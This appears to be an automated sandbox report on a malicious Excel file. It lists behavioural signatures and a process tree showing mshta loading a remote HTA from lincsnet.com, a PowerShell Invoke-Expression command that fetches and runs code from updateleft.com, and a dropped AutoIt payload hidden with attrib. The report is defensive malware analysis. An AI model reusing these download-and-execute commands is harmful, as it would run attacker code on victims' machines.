Resubmissions
08/05/2024, 09:31
240508-lg8bfadh2v1008/05/2024, 09:23
240508-lcsp7ade4t1008/05/2024, 09:17
240508-k9f7zsdc4w1007/05/2024, 11:17
240507-ndpe9sde211Analysis
- max time kernel
299s - max time network
203s - platform
windows10-2004_x64 - resource
win10v2004-20240419-en - resource tags
- submitted
08/05/2024, 09:31
General
- Target May-Document-6_2024-6683.xlsx
- Size 51KB
- Sample240508-lg8bfadh2v
- SHA256 a3eeef65c42890fd372bc7c627b36d2b9d54a909b809663e0f0392fa34766794
Malware Config
Signatures
- Process spawned unexpected child process 2 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request 2 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 1 IoCs
- Command and Scripting Interpreter: AutoIT 1 TTPs 1 IoCs
Using AutoIT for possible automate script.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Checks processor information in registry 2 TTPs 5 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 5 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 14 IoCs
- Suspicious use of WriteProcessMemory 14 IoCs
- Views/modifies file attributes 1 TTPs 1 IoCs
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\May-Document-6_2024-6683.xlsx"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\mshta.exeC:\Windows\System32\mshta.exe -Embedding2⤵
- Process spawned unexpected child process
-
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C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "\\lincsnet.com\share\MS_EXCEL_DOCUMENT_HELPER.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}2⤵
- Process spawned unexpected child process
- Checks computer location settings
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'updateleft.com/rmtixfwn')3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\bwjv\Autoit3.exe"C:\bwjv\Autoit3.exe" script.a3x4⤵
- Executes dropped EXE
- Command and Scripting Interpreter: AutoIT
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
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C:\Windows\SysWOW64\attrib.exe"C:\Windows\system32\attrib.exe" +h C:/bwjv/4⤵
- Views/modifies file attributes
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-
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
__PSScriptPolicyTest_ioricf5v.bic.ps1
Autoit3.exe
script.a3x
memory/1988-36-0x00007FFF8C030000-0x00007FFF8C225000-memory.dmp
memory/1988-123-0x00007FFF8C030000-0x00007FFF8C225000-memory.dmp
memory/1988-68-0x00007FF7EC920000-0x00007FF7EC928000-memory.dmp
memory/1988-38-0x00007FFF8C030000-0x00007FFF8C225000-memory.dmp
memory/1988-39-0x00007FFF8C030000-0x00007FFF8C225000-memory.dmp
memory/1988-35-0x00007FFF8C030000-0x00007FFF8C225000-memory.dmp
memory/4324-72-0x0000000070660000-0x00000000709B4000-memory.dmp
memory/4324-84-0x00000000083A0000-0x00000000083AA000-memory.dmp
memory/4324-106-0x0000000008560000-0x0000000008568000-memory.dmp
memory/4324-105-0x0000000008520000-0x000000000853A000-memory.dmp
memory/4324-104-0x00000000084D0000-0x00000000084E4000-memory.dmp
memory/4324-103-0x00000000084C0000-0x00000000084CE000-memory.dmp
memory/4324-93-0x0000000070660000-0x00000000709B4000-memory.dmp
memory/4324-87-0x0000000008460000-0x000000000846A000-memory.dmp
memory/4324-86-0x0000000008440000-0x0000000008452000-memory.dmp
memory/4324-85-0x00000000083B0000-0x00000000083C1000-memory.dmp
memory/4324-83-0x00000000082A0000-0x0000000008343000-memory.dmp
memory/4324-82-0x0000000008280000-0x000000000829E000-memory.dmp
memory/4324-71-0x0000000070CA0000-0x0000000070CEC000-memory.dmp
memory/4324-70-0x0000000008240000-0x0000000008272000-memory.dmp
memory/4324-67-0x00000000087F0000-0x0000000008D94000-memory.dmp
memory/4324-66-0x0000000007770000-0x0000000007792000-memory.dmp
memory/4324-65-0x0000000007EA0000-0x0000000007F36000-memory.dmp
memory/4324-43-0x0000000002BF0000-0x0000000002C26000-memory.dmp
memory/4324-44-0x00000000055C0000-0x0000000005BE8000-memory.dmp
memory/4324-45-0x0000000005210000-0x0000000005232000-memory.dmp
memory/4324-46-0x00000000054B0000-0x0000000005516000-memory.dmp
memory/4324-47-0x0000000005520000-0x0000000005586000-memory.dmp
memory/4324-64-0x0000000008070000-0x0000000008232000-memory.dmp
memory/4324-57-0x0000000005CF0000-0x0000000006044000-memory.dmp
memory/4324-58-0x00000000061C0000-0x00000000061DE000-memory.dmp
memory/4324-59-0x0000000006200000-0x000000000624C000-memory.dmp
memory/4324-60-0x0000000007820000-0x0000000007E9A000-memory.dmp
memory/4324-61-0x00000000066E0000-0x00000000066FA000-memory.dmp
memory/4976-11-0x00007FFF49FF0000-0x00007FFF4A000000-memory.dmp
memory/4976-0-0x00007FFF4C0B0000-0x00007FFF4C0C0000-memory.dmp
memory/4976-9-0x00007FFF8C030000-0x00007FFF8C225000-memory.dmp
memory/4976-10-0x00007FFF8C030000-0x00007FFF8C225000-memory.dmp
memory/4976-4-0x00007FFF4C0B0000-0x00007FFF4C0C0000-memory.dmp
memory/4976-8-0x00007FFF8C030000-0x00007FFF8C225000-memory.dmp
memory/4976-12-0x00007FFF49FF0000-0x00007FFF4A000000-memory.dmp
memory/4976-18-0x00007FFF8C030000-0x00007FFF8C225000-memory.dmp
memory/4976-17-0x00007FFF8C030000-0x00007FFF8C225000-memory.dmp
memory/4976-14-0x00007FFF8C030000-0x00007FFF8C225000-memory.dmp
memory/4976-6-0x00007FFF8C030000-0x00007FFF8C225000-memory.dmp
memory/4976-5-0x00007FFF8C0CD000-0x00007FFF8C0CE000-memory.dmp
memory/4976-13-0x00007FFF8C030000-0x00007FFF8C225000-memory.dmp
memory/4976-19-0x00007FFF8C030000-0x00007FFF8C225000-memory.dmp
memory/4976-21-0x00007FFF8C030000-0x00007FFF8C225000-memory.dmp
memory/4976-20-0x00007FFF8C030000-0x00007FFF8C225000-memory.dmp
memory/4976-16-0x00007FFF8C030000-0x00007FFF8C225000-memory.dmp
memory/4976-15-0x00007FFF8C030000-0x00007FFF8C225000-memory.dmp
memory/4976-7-0x00007FFF8C030000-0x00007FFF8C225000-memory.dmp
memory/4976-1-0x00007FFF4C0B0000-0x00007FFF4C0C0000-memory.dmp
memory/4976-3-0x00007FFF4C0B0000-0x00007FFF4C0C0000-memory.dmp
memory/4976-121-0x00007FFF8C030000-0x00007FFF8C225000-memory.dmp
memory/4976-2-0x00007FFF4C0B0000-0x00007FFF4C0C0000-memory.dmp